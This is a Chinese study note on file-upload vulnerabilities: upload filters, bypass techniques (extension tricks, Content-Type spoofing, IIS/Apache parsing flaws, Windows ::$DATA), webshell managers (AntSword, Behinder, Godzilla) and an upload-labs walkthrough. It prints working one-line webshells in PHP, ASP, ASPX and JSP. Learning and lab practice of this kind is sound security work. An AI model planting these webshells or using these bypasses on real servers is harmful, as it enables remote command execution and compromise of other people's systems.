一、文件上传防御手段及绕过手段总结
防御手段
1.服务器端使用白名单防御
2.修复 web 中间件的漏洞
3.禁止客户端存在可控参数
4.存放文件目录禁止脚本执行
5.限制后缀名
绕过手段
1.前端JS判定绕过
1)利用F12对网页进行审计,把校验上传文件后缀名的JS文件的调用删除,即可继续上传。
2)利用burpsuite进行抓包处理,先将一句话的后缀改为jpg/png/gif三种文件后缀名的任意一种,绕过前端JS的判定,然后利用burpsuite抓包,在数据包中将其改回php/asp/jsp等可执行脚本文件,即可绕过前端JS判定的限制进行上传。
2.Contnet-Type 检测上传
抓包检查一下上传文件的Contnet-Type类型,将其改为服务器允许的类型。
3.黑名单绕过上传
上传图片时,如果提示不允许 php、asp 这种信息提示,可判断为黑名单限制,上传黑名单以外的后缀名即可。
4.文件名大小写绕过
有些服务器在处理文件名时没有进行大小写统一处理,因此可以通过改变文件后缀名的大小写来绕过黑名单。
5.文件名后缀添加空格或点
在文件名未尾添加空格或点,某些服务器在处理时会忽略这些字符,从而允许上传原本被禁止的文件类型。
6.双写绕过
通过双写文件后缀名(如.pphphp),在服务器端处理时可能将中间的php替换为空,从而保留.php后缀,实现绕过。
7.利用服务器解析漏洞
1)IIS6.0解析漏洞:在lIS 6.0中,某些特定的文件后缀名(如.asp;、.asa、.cer、.cdx)在特定条件下会被当作ASP文件执行。攻击者可以利用这一漏洞,通过上传包含恶意代码的这类文件来绕过安全限制。
2)Apache解析漏洞:在Apache服务器中,通过上传.htaccess文件修改服务器配置,使特定类型的文件被当作PHP代码执行。此外,Apache在某些配置下可能会将包含.php.. .php5.等后缀的文件当作PHP代码执行。
8.利用Windows特性
在Windows系统中,文件名中的::$DATa会被系统忽略,因此可以通过在文件名中添加:∵$DATA来绕过文件名后缀的检查。
二、文件上传常用一句话木马总结
php: <?php @eval($_POST['mbg']);?>
<?php system($_GET['mbg']);?>
asp: <%eval request ("mbg")%>
aspx: <%@ Page Language="Jscript"%><%eval(Request.Item["mbg"],"unsafe");%>
jsp: <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
三、三种webshell管理工具的使用方法
(演示使用该工具连接webshell及抓取流量包进行分析特征)
Antsword
安装过程
- 下载AntSword:
- 解压并初始化:
-
- 解压下载的加载器压缩包。
- 双击解压后的
AntSword.exe
进行初始化,选择一个核心源码作为项目核心源码的解压路径。 - 初始化完成后,再次双击
AntSword.exe
启动蚁剑。 -
使用方法
这里使用一句话木马作为演示,路径http://127.0.0.1/webshell.php
,密码shell
<?php @eval($_POST['shell']);?>
- 添加Webshell:
-
- 打开蚁剑,右键点击界面空白处,选择“添加数据”。
-
- 在弹出的窗口中,输入Webshell的地址(即上传的木马文件在服务器上的URL)和密码,点击“添加”。
-
- 测试连接,看是否成功。
- 连接Webshell:
-
- 连接成功后,双击列表中的Webshell条目,即可进入文件管理、虚拟终端等界面。
-
- 抓取流量包:
-
- 蚁剑本身不提供直接的流量抓取功能,但你可以通过系统工具(如Burp suite)在连接Webshell的过程中抓取网络数据包进行分析。
- 在抓取流量时,注意过滤掉不相关的数据包,只关注与Webshell交互的流量。
-
Godzila
生成一句话木马
Behinder
安装过程
- 下载Behinder:
- 访问Behinder的GitHub发布页面(下载链接)或Gitee页面(另一下载链接),下载最新版本的Behinder压缩包。
- 注意:Behinder是Java开发的,因此确保你的系统已安装Java环境(JDK 6-8或更高版本,具体取决于Behinder版本要求)。
- 解压并启动:
- 解压下载的Behinder压缩包。
- 双击解压后的
Behinder.jar
文件启动Behinder。 -
使用方法
- 生成Webshell:
- 在Behinder界面中,找到并点击“生成”按钮,选择合适的脚本类型(如PHP、ASP等)和加密方式,生成Webshell文件。
- 上传并配置Webshell:
- 将生成的Webshell文件上传到目标服务器。
- 在Behinder中,右键点击界面空白处,选择“新增”或类似选项,输入Webshell的URL和密码(如果是自定义的Webshell,需要知道密码;如果是Behinder自带的,密码一般在生成时给出)。
-
- 连接Webshell:
- 点击“连接”或双击列表中的Webshell条目,进入文件管理、命令执行等界面。
-
- 抓取流量包:
- 使用Burp Suite等工具抓取网络数据包,分析Behinder与Webshell交互的流量特征。
-
四、文件上传无回
显如何查找webshell地址
(演示使用该工具连接webshell及抓取流量包进行分析特征)
1. 审查Web服务器日志
- 访问日志:检查Web服务器的访问日志,特别是与文件上传功能相关的请求。注意任何异常的文件访问请求,这可能指向Webshell的尝试执行。
- 错误日志:检查错误日志以查找与文件上传或执行相关的错误消息。这些错误可能暗示了Webshell的存在或尝试。
2. 使用Webshell检测工具
- 自动化扫描工具:利用如D盾、河马等Webshell查杀工具进行扫描。这些工具可以识别并报告服务器上已知的Webshell文件。
- 在线扫描服务:有些在线服务提供Webshell扫描功能,可以提交网站URL进行扫描,以查找潜在的Webshell文件。
3. 审查文件系统和目录权限
- 检查异常文件:手动检查网站目录中是否有异常的文件,特别是那些名称或内容看似恶意的文件。
- 权限分析:分析文件和目录的权限设置,查找任何不寻常的权限配置,这可能表明存在被恶意利用的风险。
4. 监控网络流量
- 网络抓包:使用网络抓包工具(如Wireshark)监控网络流量,特别是与文件上传功能相关的流量。分析这些数据包以查找任何异常活动。
- 流量分析:如果可能的话,分析通过防火墙或入侵检测系统的网络流量日志,以查找与Webshell通信相关的模式或异常。
5. 审查应用程序代码
- 代码审计:对网站的应用程序代码进行审计,特别是与文件上传相关的部分。查找任何可能导致安全漏洞的代码段,并修复它们。
- 更新和补丁:确保所有应用程序、中间件和操作系统都已更新到最新版本,并应用了所有相关的安全补丁。
五、文件上传表单的无参/有参情况下构造表单
无参情况
在无参情况下,文件上传表单可能不需要除文件本身以外的其他输入字段。
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="uploadedFile">
<input type="submit" value="Upload">
</form>
有参情况
在有参情况下,文件上传表单除了文件输入字段外,还可能包含其他输入字段,用于收集额外的信息,如用户名、描述等。
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="username">Username:</label>
<input type="text" id="username" name="username">
<label for="description">File Description:</label>
<textarea id="description" name="description"></textarea>
<label for="uploadedFile">Select file to upload:</label>
<input type="file" id="uploadedFile" name="uploadedFile">
<input type="submit" value="Upload File">
</form>
六、upload-labs靶场通关第6-10关
第6关
查看页面源代码
使用BurpSuite进行拦截,并修改报文PHP
文件上传成功
获取图片url,使用Godzilla进行连接
第7关
查看页面源代码
使用BurpSuite进行拦截,并修改报文php
文件上传成功
获取图片url,使用Godzilla进行连接
第8关
查看页面源代码
使用BurpSuite进行拦截,并修改报文php.
文件上传成功
获取图片url,使用Godzilla进行连接
第9关
查看页面源代码
使用BurpSuite进行拦截,并修改报文php::$data
文件上传成功
获取图片url,使用Godzilla进行连接
第10关
查看页面源代码
使用BurpSuite进行拦截,并修改报文php. .
文件上传成功
获取图片url,使用Godzilla进行连接